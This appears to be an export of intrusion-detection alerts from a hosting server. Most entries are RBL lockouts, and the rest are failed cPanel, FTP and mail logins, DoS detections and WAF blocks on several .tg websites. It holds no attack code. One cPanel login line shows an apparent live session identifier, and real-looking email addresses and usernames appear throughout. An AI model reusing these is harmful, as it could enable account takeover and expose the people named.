abuser: 77.90.185.88
country_id: 130758
description:
Jun 24 01:46:33 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.88 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.248.192.93
country_id: 1269750
description:
Jun 24 01:47:33 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.248.192.93 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.157
country_id: 130758
description:
Jun 24 01:47:31 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.157 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 13.222.202.238
country_id: 6252001
description:
[2026-06-24 01:48:35 +0000] info [cpaneld] 13.222.202.238 - ingertgsarl "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.138.16.178
country_id: 798544
description:
Jun 24 01:48:40 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.138.16.178 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.20.28.198
country_id: 6252001
description:
[2026-06-24 01:49:59 +0000] info [cpaneld] 178.20.28.198 - stephaneogou@gmail.com "POST /login/?login HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.220.194.207
country_id: 2017370
description:
[2026-06-24 01:49:58 +0000] info [cpaneld] 77.220.194.207 - stephaneogou@gmail.com "POST /login/?login HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.89.43.115
country_id: 2017370
description:
[2026-06-24 01:49:53 +0000] info [cpaneld] 185.89.43.115 - stephaneogou@gmail.com "POST /login/?login HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.157.41.63
country_id: 1814991
description:
Jun 24 01:51:38 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.157.41.63 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.127.159.250
country_id: 1269750
description:
Jun 24 01:51:59 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.127.159.250 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.124.55.157
country_id: 3017382
description:
Jun 24 01:53:41 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.124.55.157 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.169.23
country_id: 6252001
description:
Jun 24 01:55:49 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.169.23 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.160
country_id: 3469034
description:
Jun 24 01:56:33 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.160 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.87
country_id: 130758
description:
Jun 24 01:56:45 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.87 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jun 24 01:57:41 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.169.136.182
country_id: 6252001
description:
Jun 24 01:58:40 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.169.136.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.57.200.119
country_id: 1835841
description:
Jun 24 02:00:54 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.57.200.119 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 13.222.202.238
country_id: 6252001
description:
[2026-06-24 02:00:34 +0000] info [cpaneld] 13.222.202.238 - esso "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user esso (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.87
country_id: 130758
description:
Jun 24 02:01:14 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.87 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 182.62.210.77
country_id: 1733045
description:
Denial of Service (DoS) attack was discovered from 182.62.210.77: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.65
country_id: 130758
description:
Jun 24 02:02:13 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.65 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.84.157.10
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/6d7478 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 115.164.64.78
country_id: 1733045
description:
Denial of Service (DoS) attack was discovered from 115.164.64.78: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 115.164.64.74
country_id: 1733045
description:
Denial of Service (DoS) attack was discovered from 115.164.64.74: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.215.88.36
country_id: 1643084
description:
Jun 24 02:02:10 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.215.88.36 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 72.59.224.6
country_id: 6252001
description:
72.59.224.6 - - [24/Jun/2026:02:01:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10406042&pdata=https%253A%252F%252Fcpanel.techinoov.free.netmaster.tg%252F%253Flocale%253Dms&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782266487 HTTP/2.0" 302 0 cpanel.techinoov.free.netmaster.tg "https://cpanel.techinoov.free.netmaster.tg/?locale=ms" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:72.59.224.6


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.12.14
country_id: 226074
description:
Jun 24 02:05:24 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.12.14 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.12.14
country_id: 226074
description:
Jun 24 02:05:31 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.12.14 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.134.49
country_id: 690791
description:
Jun 24 02:06:03 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.134.49 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.66.212
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/999c76 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.45
country_id: 3175395
description:
Jun 24 02:07:23 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.45 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.45
country_id: 3175395
description:
Jun 24 02:07:30 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.45 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 209.182.232.150
country_id: 1269750
description:
Jun 24 02:08:10 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 209.182.232.150 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.100
country_id: 130758
description:
Jun 24 02:08:24 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.100 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.186
country_id: 130758
description:
Jun 24 02:07:28 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.186 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.80.198.30
country_id: 3469034
description:
Jun 24 02:07:43 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.80.198.30 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.115
country_id: 3469034
description:
Jun 24 02:09:10 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 209.182.232.150
country_id: 1269750
description:
Jun 24 02:09:48 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 209.182.232.150 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.255.204.151
country_id: 3469034
description:
Jun 24 02:09:50 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.255.204.151 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.238.166.158
country_id: 798544
description:
Jun 24 02:09:50 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.238.166.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.67
country_id: 130758
description:
Jun 24 02:09:50 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.67 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.58.51.44
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/10/55b7a72ab2b13ebd155412a2cb343942_XL.jpg 900w, http:/togodailynews.tg/wp-content/uploads/2024/10/55b7a72ab2b13ebd155412a2cb343942_XL-300x200.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2024/10/55b7a72ab2b13ebd155412a2cb343942_XL-768x511.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2024/10/55b7a72ab2b13ebd155412a2cb343942_XL-272x182.jpg 272w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.112.226.110
country_id: 1269750
description:
Jun 24 02:11:14 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.112.226.110 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.229.82.153
country_id: 3077311
description:
Jun 24 02:11:30 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.229.82.153 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 209.182.232.150
country_id: 1269750
description:
Jun 24 02:11:43 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 209.182.232.150 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.180.191.8
country_id: 617790
description:
Jun 24 02:13:19 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.180.191.8 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.77.183.234
country_id: 2635167
description:
Jun 24 02:13:24 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.77.183.234 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.10.37.168
country_id: 1643084
description:
Jun 24 02:12:35 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.10.37.168 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.32.21.59
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-13.213.32.21.59||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.98.195.74
country_id: 1880251
description:
Jun 24 02:14:17 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.98.195.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.157.41.63
country_id: 1814991
description:
Jun 24 02:14:24 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.157.41.63 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.160
country_id: 130758
description:
Jun 24 02:15:50 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.160 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.227
country_id: 2635167
description:
[2026-06-24 02:16:58 +0000] info [cpaneld] 5.230.153.227 NEW newistm:cGbJB76WUXCNSDVh address=5.230.153.227,app=cpaneld,creator=newistm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.86.211.109
country_id: 690791
description:
Jun 24 02:16:48 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.86.211.109 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.169.23
country_id: 6252001
description:
Jun 24 02:17:24 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.169.23 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.52
country_id: 798544
description:
Jun 24 02:17:07 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.52 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.76.192.176
country_id: 1819730
description:
Jun 24 02:17:13 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.76.192.176 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.157
country_id: 130758
description:
Jun 24 02:18:12 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.157 has been locked due to Imunify RBL


plugin: ossec
rule: 11321
name: Active Response. FTP brute force attack (Port 21 is protected)
abuser: 45.38.17.197
country_id: 6252001
description:
Jun 24 02:19:07 ns5 pure-ftpd[3672708]: (?@45.38.17.197) [WARNING] Authentication failed for user [nwvfmxat]


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 45.38.17.197
country_id: 6252001
description:
Jun 24 02:19:05 ns5 pure-ftpd[3672707]: (?@45.38.17.197) [WARNING] Authentication failed for user [k.eklou]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.67
country_id: 130758
description:
Jun 24 02:19:57 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.67 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.169.136.182
country_id: 6252001
description:
Jun 24 02:19:42 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.169.136.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.145
country_id: 3175395
description:
Jun 24 02:20:14 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.145 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.196.87.135
country_id: 3469034
description:
Jun 24 02:20:16 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.196.87.135 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 150.136.56.244
country_id: 6252001
description:
Jun 24 02:19:45 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 150.136.56.244 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.145
country_id: 3175395
description:
Jun 24 02:20:26 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.145 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.19.154.118
country_id: 2017370
description:
Jun 24 02:20:46 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.19.154.118 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.196.87.135
country_id: 3469034
description:
Jun 24 02:20:30 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.196.87.135 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.19.154.118
country_id: 2017370
description:
2026-06-24 02:20:48 dovecot_plain authenticator failed for H=(egolesmdx0awjhrurao) [94.19.154.118]:61657: 535 Incorrect authentication data (set_id=info@sigm.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.230.102.84
country_id: 1643084
description:
Jun 24 02:21:06 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.230.102.84 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.111.157.11
country_id: 6252001
description:
[2026-06-24 02:21:59 +0000] info [cpaneld] 172.111.157.11 - masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 195.63.28.128
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-23.195.63.28.128||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.106.65.50
country_id: 3469034
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/wp-content/uploads/2014/06/Avis-dappel-public-\xc3\xa0-candidatures-pour-projet-pilote-de-construction-de-centrales-\xc3\xa9lectriques-\xc3\xa0-base-de-la-biomasse-des-d\xc3\xa9chets-municipaux-et-du-so.pdf HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.229.192.19
country_id: 3686110
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/b5a691 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 45.38.17.197
country_id: 6252001
description:
Jun 24 02:24:29 ns5 pure-ftpd[3675009]: (?@45.38.17.197) [WARNING] Authentication failed for user [masfloy]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 13.222.202.238
country_id: 6252001
description:
[2026-06-24 02:24:33 +0000] info [cpaneld] 13.222.202.238 - wgqhqbem "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11331
name: Stealth FTP brute force attack
abuser: 45.38.17.197
country_id: 6252001
description:
Jun 24 02:26:35 ns5 pure-ftpd[3675825]: (?@45.38.17.197) [WARNING] Authentication failed for user [myxlsnta]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.79.86.87
country_id: 3686110
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/2130386621 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.186
country_id: 130758
description:
Jun 24 02:29:09 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.186 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jun 24 02:28:28 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 194.165.16.161
country_id: 2993457
description:
Jun 24 02:29:49 ns5 pure-ftpd[3676894]: (?@194.165.16.161) [INFO] New connection from 194.165.16.161


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 92.63.205.169
country_id: 1512440
description:
2026-06-24 02:30:09 H=([185.139.138.153]) [92.63.205.169]:50745 F=<kumar@white-ways.com> rejected RCPT <kumar@white-ways.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.91
country_id: 130758
description:
Jun 24 02:31:04 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.180.191.8
country_id: 617790
description:
Jun 24 02:33:29 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.180.191.8 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.77.51.201
country_id: 3175395
description:
Jun 24 02:35:14 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.77.51.201 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.112.105.43
country_id: 3175395
description:
Jun 24 02:34:37 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.112.105.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.98.195.74
country_id: 1880251
description:
Jun 24 02:34:57 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.98.195.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.136.180.139
country_id: 1814991
description:
Jun 24 02:35:07 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.136.180.139 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.253
country_id: 3469034
description:
Jun 24 02:34:56 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.253 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 203.99.145.181
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/lancement-du-plan-daction-de-lutte-contre-le-blanchiment-dargent-et-les-flux-financiers-illicites HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.77.51.201
country_id: 3175395
description:
Jun 24 02:35:27 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.77.51.201 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.8.251.174
country_id: 3469034
description:
Jun 24 02:35:34 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.8.251.174 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.35.28.47
country_id: 3017382
description:
Jun 24 02:36:40 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.35.28.47 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.138.16.178
country_id: 798544
description:
Jun 24 02:37:21 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.138.16.178 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.157.41.63
country_id: 1814991
description:
Jun 24 02:37:56 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.157.41.63 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 13.222.202.238
country_id: 6252001
description:
[2026-06-24 02:38:24 +0000] info [cpaneld] 13.222.202.238 - kwbcfbmo "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kwbcfbmo (has_cpuser_file failed)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 8.222.228.16
country_id: 1880251
description:
Jun 24 02:38:15 ns5 pure-ftpd[3681791]: (?@8.222.228.16) [WARNING] Authentication failed for user [root]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.82.207.128
country_id: 2245662
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/486926 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.169.23
country_id: 6252001
description:
Jun 24 02:38:57 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.169.23 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.173.31.59
country_id: 2017370
description:
Jun 24 02:39:32 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.173.31.59 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.31.59
country_id: 2017370
description:
2026-06-24 02:39:34 dovecot_login authenticator failed for H=([203.124.60.46]) [31.173.31.59]:32978: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 150.136.56.244
country_id: 6252001
description:
Jun 24 02:39:46 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 150.136.56.244 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.88
country_id: 130758
description:
Jun 24 02:40:28 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.88 has been locked due to Imunify RBL


plugin: ossec
